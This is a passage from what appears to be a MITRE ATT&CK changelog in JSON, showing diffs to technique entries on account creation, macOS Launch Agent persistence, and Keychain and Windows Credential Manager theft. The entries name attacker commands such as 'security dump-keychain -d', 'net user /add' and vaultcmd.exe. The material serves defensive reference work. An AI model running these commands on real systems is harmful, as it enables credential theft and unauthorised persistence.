1999)\\n\\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the net user /add /domain command can be used to create a domain account.(Citation: Savill 1999)\\n \\n-Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\\n+Such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}, \"iterable_item_removed\": {\"root['external_references'][1]\": {\"source_name\": \"Microsoft User Creation Event\", \"description\": \"Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.\", \"url\": \"https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720\"}}}",
"previous_version": "1.1",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may create a domain account to maintain access t | t | 1 | Adversaries may create a domain account to maintain access t |
| > | o victim systems. Domain accounts are those managed by Activ | > | o victim systems. Domain accounts are those managed by Activ | ||
| > | e Directory Domain Services where access and permissions are | > | e Directory Domain Services where access and permissions are | ||
| > | configured across systems and services that are part of tha | > | configured across systems and services that are part of tha | ||
| > | t domain. Domain accounts can cover user, administrator, and | > | t domain. Domain accounts can cover user, administrator, and | ||
| > | service accounts. With a sufficient level of access, the <c | > | service accounts. With a sufficient level of access, the <c | ||
| > | ode>net user /add /domain</code> command can be used to crea | > | ode>net user /add /domain</code> command can be used to crea | ||
| > | te a domain account.(Citation: Savill 1999) Such accounts m | > | te a domain account.(Citation: Savill 1999) Such accounts m | ||
| > | ay be used to establish secondary credentialed access that d | > | ay be used to establish secondary credentialed access that d | ||
| > | o not require persistent remote access tools to be deployed | > | oes not require persistent remote access tools to be deploye | ||
| > | on the system. | > | d on the system. |
net user /add command can be used to create a local account. In Linux, the `useradd` command can be used, while on macOS systems, the dscl -create command can be used. Local accounts may also be added to network devices, often via common [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as username, to ESXi servers via `esxcli system account add`, or to Kubernetes clusters using the `kubectl` utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security)\n\nAdversaries may also create new local accounts on network firewall management consoles \u2013 for example, by exploiting a vulnerable firewall management system, threat actors may be able to establish super-admin accounts that could be used to modify firewall rules and gain further access to the network.(Citation: Cyber Security News)\n\nSuch accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1136/001",
"external_id": "T1136.001"
},
{
"source_name": "cisco_username_cmd",
"description": "Cisco. (2023, March 6). username - Cisco IOS Security Command Reference: Commands S to Z. Retrieved July 13, 2022.",
"url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/s1/sec-s1-cr-book/sec-cr-t2.html#wp1047035630"
},
{
"source_name": "Cyber Security News",
"description": "Kaaviya. (n.d.). SuperBlack Actors Exploiting Two Fortinet Vulnerabilities to Deploy Ransomware. Retrieved September 22, 2025.",
"url": "https://cybersecuritynews.com/superblack-actors-exploiting-two-fortinet-vulnerabilities/"
},
{
"source_name": "Kubernetes Service Accounts Security",
"description": "Kubernetes. (n.d.). Service Accounts. Retrieved July 14, 2023.",
"url": "https://kubernetes.io/docs/concepts/security/service-accounts/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Austin Clark, @c2defense"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Containers",
"ESXi",
"Linux",
"macOS",
"Network Devices",
"Windows"
],
"x_mitre_version": "1.5",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 03:16:37.829000+00:00\", \"old_value\": \"2026-05-12 15:12:00.636000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. \\n\\nFor example, with a sufficient level of access, the Windows net user /add command can be used to create a local account. In Linux, the `useradd` command can be used, while on macOS systems, the dscl -create command can be used. Local accounts may also be added to network devices, often via common [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as username, to ESXi servers via `esxcli system account add`, or to Kubernetes clusters using the `kubectl` utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security)\\n\\nAdversaries may also create new local accounts on network firewall management consoles \\u2013 for example, by exploiting a vulnerable firewall management system, threat actors may be able to establish super-admin accounts that could be used to modify firewall rules and gain further access to the network.(Citation: Cyber Security News)\\n\\nSuch accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.\", \"old_value\": \"Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. \\n\\nFor example, with a sufficient level of access, the Windows net user /add command can be used to create a local account. In Linux, the `useradd` command can be used, while on macOS systems, the dscl -create command can be used. Local accounts may also be added to network devices, often via common [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as username, to ESXi servers via `esxcli system account add`, or to Kubernetes clusters using the `kubectl` utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security)\\n\\nAdversaries may also create new local accounts on network firewall management consoles \\u2013 for example, by exploiting a vulnerable firewall management system, threat actors may be able to establish super-admin accounts that could be used to modify firewall rules and gain further access to the network.(Citation: Cyber Security News)\\n\\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\", \"diff\": \"--- \\n+++ \\n@@ -4,4 +4,4 @@\\n \\n Adversaries may also create new local accounts on network firewall management consoles \\u2013 for example, by exploiting a vulnerable firewall management system, threat actors may be able to establish super-admin accounts that could be used to modify firewall rules and gain further access to the network.(Citation: Cyber Security News)\\n \\n-Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\\n+Such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.\"}}, \"iterable_item_removed\": {\"root['external_references'][4]\": {\"source_name\": \"Microsoft User Creation Event\", \"description\": \"Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.\", \"url\": \"https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720\"}}}",
"previous_version": "1.5",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may create a local account to maintain access to | t | 1 | Adversaries may create a local account to maintain access to |
| > | victim systems. Local accounts are those configured by an o | > | victim systems. Local accounts are those configured by an o | ||
| > | rganization for use by users, remote support, services, or f | > | rganization for use by users, remote support, services, or f | ||
| > | or administration on a single system or service. For examp | > | or administration on a single system or service. For examp | ||
| > | le, with a sufficient level of access, the Windows <code>net | > | le, with a sufficient level of access, the Windows <code>net | ||
| > | user /add</code> command can be used to create a local acco | > | user /add</code> command can be used to create a local acco | ||
| > | unt. In Linux, the `useradd` command can be used, while on | > | unt. In Linux, the `useradd` command can be used, while on | ||
| > | macOS systems, the <code>dscl -create</code> command can be | > | macOS systems, the <code>dscl -create</code> command can be | ||
| > | used. Local accounts may also be added to network devices, o | > | used. Local accounts may also be added to network devices, o | ||
| > | ften via common [Network Device CLI](https://attack.mitre.or | > | ften via common [Network Device CLI](https://attack.mitre.or | ||
| > | g/techniques/T1059/008) commands such as <code>username</cod | > | g/techniques/T1059/008) commands such as <code>username</cod | ||
| > | e>, to ESXi servers via `esxcli system account add`, or to K | > | e>, to ESXi servers via `esxcli system account add`, or to K | ||
| > | ubernetes clusters using the `kubectl` utility.(Citation: ci | > | ubernetes clusters using the `kubectl` utility.(Citation: ci | ||
| > | sco_username_cmd)(Citation: Kubernetes Service Accounts Secu | > | sco_username_cmd)(Citation: Kubernetes Service Accounts Secu | ||
| > | rity) Adversaries may also create new local accounts on net | > | rity) Adversaries may also create new local accounts on net | ||
| > | work firewall management consoles \u2013 for example, by exploiti | > | work firewall management consoles \u2013 for example, by exploiti | ||
| > | ng a vulnerable firewall management system, threat actors ma | > | ng a vulnerable firewall management system, threat actors ma | ||
| > | y be able to establish super-admin accounts that could be us | > | y be able to establish super-admin accounts that could be us | ||
| > | ed to modify firewall rules and gain further access to the n | > | ed to modify firewall rules and gain further access to the n | ||
| > | etwork.(Citation: Cyber Security News) Such accounts may be | > | etwork.(Citation: Cyber Security News) Such accounts may be | ||
| > | used to establish secondary credentialed access that do not | > | used to establish secondary credentialed access that does n | ||
| > | require persistent remote access tools to be deployed on th | > | ot require persistent remote access tools to be deployed on | ||
| > | e system. | > | the system. |
/System/Library/LaunchAgents, /Library/LaunchAgents, and ~/Library/LaunchAgents.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware)(Citation: Antiquated Mac Malware) Property list files use the Label, ProgramArguments , and RunAtLoad keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.\n\n Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command.\n \nAdversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the RunAtLoad or KeepAlive keys set to true.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X) ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1543/001",
"external_id": "T1543.001"
},
{
"source_name": "AppleDocs Launch Agent Daemons",
"description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.",
"url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html"
},
{
"source_name": "Sofacy Komplex Trojan",
"description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
"url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
},
{
"source_name": "OceanLotus for OS X",
"description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.",
"url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update"
},
{
"source_name": "OSX Keydnap malware",
"description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
"url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
},
{
"source_name": "Methods of Mac Malware Persistence",
"description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
"url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
},
{
"source_name": "OSX Malware Detection",
"description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved November 17, 2024.",
"url": "https://papers.put.as/papers/macosx/2016/RSA_OSX_Malware.pdf"
},
{
"source_name": "Antiquated Mac Malware",
"description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
"url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
},
{
"source_name": "OSX.Dok Malware",
"description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.",
"url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Antonio Piazza, @antman1p"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"macOS"
],
"x_mitre_version": "1.5",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:50:03.553000+00:00\", \"old_value\": \"2026-05-12 15:12:00.717000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in /System/Library/LaunchAgents, /Library/LaunchAgents, and ~/Library/LaunchAgents.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware)(Citation: Antiquated Mac Malware) Property list files use the Label, ProgramArguments , and RunAtLoad keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.\\n\\n Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command.\\n \\nAdversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the RunAtLoad or KeepAlive keys set to true.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X) \", \"old_value\": \"Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in /System/Library/LaunchAgents, /Library/LaunchAgents, and ~/Library/LaunchAgents.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) Property list files use the Label, ProgramArguments , and RunAtLoad keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.\\n\\n Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command.\\n \\nAdversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the RunAtLoad or KeepAlive keys set to true.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X) \", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in /System/Library/LaunchAgents, /Library/LaunchAgents, and ~/Library/LaunchAgents.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) Property list files use the Label, ProgramArguments , and RunAtLoad keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.\\n+Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in /System/Library/LaunchAgents, /Library/LaunchAgents, and ~/Library/LaunchAgents.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware)(Citation: Antiquated Mac Malware) Property list files use the Label, ProgramArguments , and RunAtLoad keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.\\n \\n Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command.\\n \"}}}",
"previous_version": "1.5",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may create or modify launch agents to repeatedly | t | 1 | Adversaries may create or modify launch agents to repeatedly |
| > | execute malicious payloads as part of persistence. When a u | > | execute malicious payloads as part of persistence. When a u | ||
| > | ser logs in, a per-user launchd process is started which loa | > | ser logs in, a per-user launchd process is started which loa | ||
| > | ds the parameters for each launch-on-demand user agent from | > | ds the parameters for each launch-on-demand user agent from | ||
| > | the property list (.plist) file found in <code>/System/Libra | > | the property list (.plist) file found in <code>/System/Libra | ||
| > | ry/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, | > | ry/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, | ||
| > | and <code>~/Library/LaunchAgents</code>.(Citation: AppleDocs | > | and <code>~/Library/LaunchAgents</code>.(Citation: AppleDocs | ||
| > | Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citat | > | Launch Agent Daemons)(Citation: OSX Keydnap malware)(Citati | ||
| > | ion: Antiquated Mac Malware) Property list files use the <co | > | on: Antiquated Mac Malware) Property list files use the <cod | ||
| > | de>Label</code>, <code>ProgramArguments </code>, and <code>R | > | e>Label</code>, <code>ProgramArguments </code>, and <code>Ru | ||
| > | unAtLoad</code> keys to identify the Launch Agent's name, ex | > | nAtLoad</code> keys to identify the Launch Agent's name, exe | ||
| > | ecutable location, and execution time.(Citation: OSX.Dok Mal | > | cutable location, and execution time.(Citation: OSX.Dok Malw | ||
| > | ware) Launch Agents are often installed to perform updates t | > | are) Launch Agents are often installed to perform updates to | ||
| > | o programs, launch user specified programs at login, or to c | > | programs, launch user specified programs at login, or to co | ||
| > | onduct other developer tasks. Launch Agents can also be ex | > | nduct other developer tasks. Launch Agents can also be exe | ||
| > | ecuted using the [Launchctl](https://attack.mitre.org/techni | > | cuted using the [Launchctl](https://attack.mitre.org/techniq | ||
| > | ques/T1569/001) command. Adversaries may install a new Lau | > | ues/T1569/001) command. Adversaries may install a new Laun | ||
| > | nch Agent that executes at login by placing a .plist file in | > | ch Agent that executes at login by placing a .plist file int | ||
| > | to the appropriate folders with the <code>RunAtLoad</code> o | > | o the appropriate folders with the <code>RunAtLoad</code> or | ||
| > | r <code>KeepAlive</code> keys set to <code>true</code>.(Cita | > | <code>KeepAlive</code> keys set to <code>true</code>.(Citat | ||
| > | tion: Sofacy Komplex Trojan)(Citation: Methods of Mac Malwar | > | ion: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware | ||
| > | e Persistence) The Launch Agent name may be disguised by usi | > | Persistence) The Launch Agent name may be disguised by usin | ||
| > | ng a name from the related operating system or benign softwa | > | g a name from the related operating system or benign softwar | ||
| > | re. Launch Agents are created with user level privileges and | > | e. Launch Agents are created with user level privileges and | ||
| > | execute with user level permissions.(Citation: OSX Malware | > | execute with user level permissions.(Citation: OSX Malware D | ||
| > | Detection)(Citation: OceanLotus for OS X) | > | etection)(Citation: OceanLotus for OS X) |
security. Keychain files are located in ~/Library/Keychains/, /Library/Keychains/, and /Network/Library/Keychains/.(Citation: Keychain Services Apple)(Citation: Keychain Decryption Passware)(Citation: OSX Keychain Schaumann)\n\nAdversaries may gather user credentials from Keychain storage/memory. For example, the command security dump-keychain \u2013d will dump all Login Keychain credentials from ~/Library/Keychains/login.keychain-db. Adversaries may also directly read Login Keychain credentials from the ~/Library/Keychains/login.keychain file. Both methods require a password, where the default password for the Login Keychain is the current user\u2019s password to log in to the macOS host.(Citation: External to DA, the OS X Way)(Citation: Empire Keychain Decrypt) ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1555/001",
"external_id": "T1555.001"
},
{
"source_name": "External to DA, the OS X Way",
"description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved September 12, 2024.",
"url": "https://www.slideshare.net/slideshow/external-to-da-the-os-x-way/62021418"
},
{
"source_name": "Keychain Services Apple",
"description": "Apple. (n.d.). Keychain Services. Retrieved April 11, 2022.",
"url": "https://developer.apple.com/documentation/security/keychain_services"
},
{
"source_name": "Empire Keychain Decrypt",
"description": "Empire. (2018, March 8). Empire keychaindump_decrypt Module. Retrieved April 14, 2022.",
"url": "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/collection/osx/keychaindump_decrypt.py"
},
{
"source_name": "OSX Keychain Schaumann",
"description": "Jan Schaumann. (2015, November 5). Using the OS X Keychain to store and retrieve passwords. Retrieved March 31, 2022.",
"url": "https://www.netmeister.org/blog/keychain-passwords.html"
},
{
"source_name": "Keychain Decryption Passware",
"description": "Yana Gourenko. (n.d.). A Deep Dive into Apple Keychain Decryption. Retrieved April 13, 2022.",
"url": "https://support.passware.com/hc/en-us/articles/4573379868567-A-Deep-Dive-into-Apple-Keychain-Decryption"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"macOS"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 21:47:36.376000+00:00\", \"old_value\": \"2026-05-12 15:12:00.622000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may acquire credentials from Keychain. Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes. There are three types of Keychains: Login Keychain, System Keychain, and Local Items (iCloud) Keychain. The default Keychain is the Login Keychain, which stores user passwords and information. The System Keychain stores items accessed by the operating system, such as items shared among users on a host. The Local Items (iCloud) Keychain is used for items synced with Apple\\u2019s iCloud service. \\n\\nKeychains can be viewed and edited through the Keychain Access application or using the command-line utility security. Keychain files are located in ~/Library/Keychains/, /Library/Keychains/, and /Network/Library/Keychains/.(Citation: Keychain Services Apple)(Citation: Keychain Decryption Passware)(Citation: OSX Keychain Schaumann)\\n\\nAdversaries may gather user credentials from Keychain storage/memory. For example, the command security dump-keychain \\u2013d will dump all Login Keychain credentials from ~/Library/Keychains/login.keychain-db. Adversaries may also directly read Login Keychain credentials from the ~/Library/Keychains/login.keychain file. Both methods require a password, where the default password for the Login Keychain is the current user\\u2019s password to log in to the macOS host.(Citation: External to DA, the OS X Way)(Citation: Empire Keychain Decrypt) \", \"old_value\": \"Adversaries may acquire credentials from Keychain. Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes. There are three types of Keychains: Login Keychain, System Keychain, and Local Items (iCloud) Keychain. The default Keychain is the Login Keychain, which stores user passwords and information. The System Keychain stores items accessed by the operating system, such as items shared among users on a host. The Local Items (iCloud) Keychain is used for items synced with Apple\\u2019s iCloud service. \\n\\nKeychains can be viewed and edited through the Keychain Access application or using the command-line utility security. Keychain files are located in ~/Library/Keychains/, /Library/Keychains/, and /Network/Library/Keychains/.(Citation: Keychain Services Apple)(Citation: Keychain Decryption Passware)(Citation: OSX Keychain Schaumann)\\n\\nAdversaries may gather user credentials from Keychain storage/memory. For example, the command security dump-keychain \\u2013d will dump all Login Keychain credentials from ~/Library/Keychains/login.keychain-db. Adversaries may also directly read Login Keychain credentials from the ~/Library/Keychains/login.keychain file. Both methods require a password, where the default password for the Login Keychain is the current user\\u2019s password to login to the macOS host.(Citation: External to DA, the OS X Way)(Citation: Empire Keychain Decrypt) \", \"diff\": \"--- \\n+++ \\n@@ -2,4 +2,4 @@\\n \\n Keychains can be viewed and edited through the Keychain Access application or using the command-line utility security. Keychain files are located in ~/Library/Keychains/, /Library/Keychains/, and /Network/Library/Keychains/.(Citation: Keychain Services Apple)(Citation: Keychain Decryption Passware)(Citation: OSX Keychain Schaumann)\\n \\n-Adversaries may gather user credentials from Keychain storage/memory. For example, the command security dump-keychain \\u2013d will dump all Login Keychain credentials from ~/Library/Keychains/login.keychain-db. Adversaries may also directly read Login Keychain credentials from the ~/Library/Keychains/login.keychain file. Both methods require a password, where the default password for the Login Keychain is the current user\\u2019s password to login to the macOS host.(Citation: External to DA, the OS X Way)(Citation: Empire Keychain Decrypt) \\n+Adversaries may gather user credentials from Keychain storage/memory. For example, the command security dump-keychain \\u2013d will dump all Login Keychain credentials from ~/Library/Keychains/login.keychain-db. Adversaries may also directly read Login Keychain credentials from the ~/Library/Keychains/login.keychain file. Both methods require a password, where the default password for the Login Keychain is the current user\\u2019s password to log in to the macOS host.(Citation: External to DA, the OS X Way)(Citation: Empire Keychain Decrypt) \"}}}",
"previous_version": "1.1",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may acquire credentials from Keychain. Keychain | t | 1 | Adversaries may acquire credentials from Keychain. Keychain |
| > | (or Keychain Services) is the macOS credential management sy | > | (or Keychain Services) is the macOS credential management sy | ||
| > | stem that stores account names, passwords, private keys, cer | > | stem that stores account names, passwords, private keys, cer | ||
| > | tificates, sensitive application data, payment data, and sec | > | tificates, sensitive application data, payment data, and sec | ||
| > | ure notes. There are three types of Keychains: Login Keychai | > | ure notes. There are three types of Keychains: Login Keychai | ||
| > | n, System Keychain, and Local Items (iCloud) Keychain. The d | > | n, System Keychain, and Local Items (iCloud) Keychain. The d | ||
| > | efault Keychain is the Login Keychain, which stores user pas | > | efault Keychain is the Login Keychain, which stores user pas | ||
| > | swords and information. The System Keychain stores items acc | > | swords and information. The System Keychain stores items acc | ||
| > | essed by the operating system, such as items shared among us | > | essed by the operating system, such as items shared among us | ||
| > | ers on a host. The Local Items (iCloud) Keychain is used for | > | ers on a host. The Local Items (iCloud) Keychain is used for | ||
| > | items synced with Apple\u2019s iCloud service. Keychains can b | > | items synced with Apple\u2019s iCloud service. Keychains can b | ||
| > | e viewed and edited through the Keychain Access application | > | e viewed and edited through the Keychain Access application | ||
| > | or using the command-line utility <code>security</code>. Key | > | or using the command-line utility <code>security</code>. Key | ||
| > | chain files are located in <code>~/Library/Keychains/</code> | > | chain files are located in <code>~/Library/Keychains/</code> | ||
| > | , <code>/Library/Keychains/</code>, and <code>/Network/Libra | > | , <code>/Library/Keychains/</code>, and <code>/Network/Libra | ||
| > | ry/Keychains/</code>.(Citation: Keychain Services Apple)(Cit | > | ry/Keychains/</code>.(Citation: Keychain Services Apple)(Cit | ||
| > | ation: Keychain Decryption Passware)(Citation: OSX Keychain | > | ation: Keychain Decryption Passware)(Citation: OSX Keychain | ||
| > | Schaumann) Adversaries may gather user credentials from Key | > | Schaumann) Adversaries may gather user credentials from Key | ||
| > | chain storage/memory. For example, the command <code>securit | > | chain storage/memory. For example, the command <code>securit | ||
| > | y dump-keychain \u2013d</code> will dump all Login Keychain crede | > | y dump-keychain \u2013d</code> will dump all Login Keychain crede | ||
| > | ntials from <code>~/Library/Keychains/login.keychain-db</cod | > | ntials from <code>~/Library/Keychains/login.keychain-db</cod | ||
| > | e>. Adversaries may also directly read Login Keychain creden | > | e>. Adversaries may also directly read Login Keychain creden | ||
| > | tials from the <code>~/Library/Keychains/login.keychain</cod | > | tials from the <code>~/Library/Keychains/login.keychain</cod | ||
| > | e> file. Both methods require a password, where the default | > | e> file. Both methods require a password, where the default | ||
| > | password for the Login Keychain is the current user\u2019s passwo | > | password for the Login Keychain is the current user\u2019s passwo | ||
| > | rd to login to the macOS host.(Citation: External to DA, the | > | rd to log in to the macOS host.(Citation: External to DA, th | ||
| > | OS X Way)(Citation: Empire Keychain Decrypt) | > | e OS X Way)(Citation: Empire Keychain Decrypt) |
Policy.vpol, typically located in the same folder as the credentials.(Citation: passcape Windows Vault)(Citation: Malwarebytes The Windows Vault)\n\nAdversaries may list credentials managed by the Windows Credential Manager through several mechanisms. vaultcmd.exe is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may also gather credentials by directly reading files located inside of the Credential Lockers. Windows APIs, such as CredEnumerateA, may also be abused to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)\n\nAdversaries may also obtain credentials from credential backups. Credential backups and restorations may be performed by running rundll32.exe keymgr.dll KRShowKeyMgr then selecting the \u201cBack up...\u201d button on the \u201cStored User Names and Passwords\u201d GUI.\n\nPassword recovery tools may also obtain plain text passwords from the Credential Manager.(Citation: Malwarebytes The Windows Vault)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1555/004",
"external_id": "T1555.004"
},
{
"source_name": "Malwarebytes The Windows Vault",
"description": "Arntz, P. (2016, March 30). The Windows Vault . Retrieved November 23, 2020.",
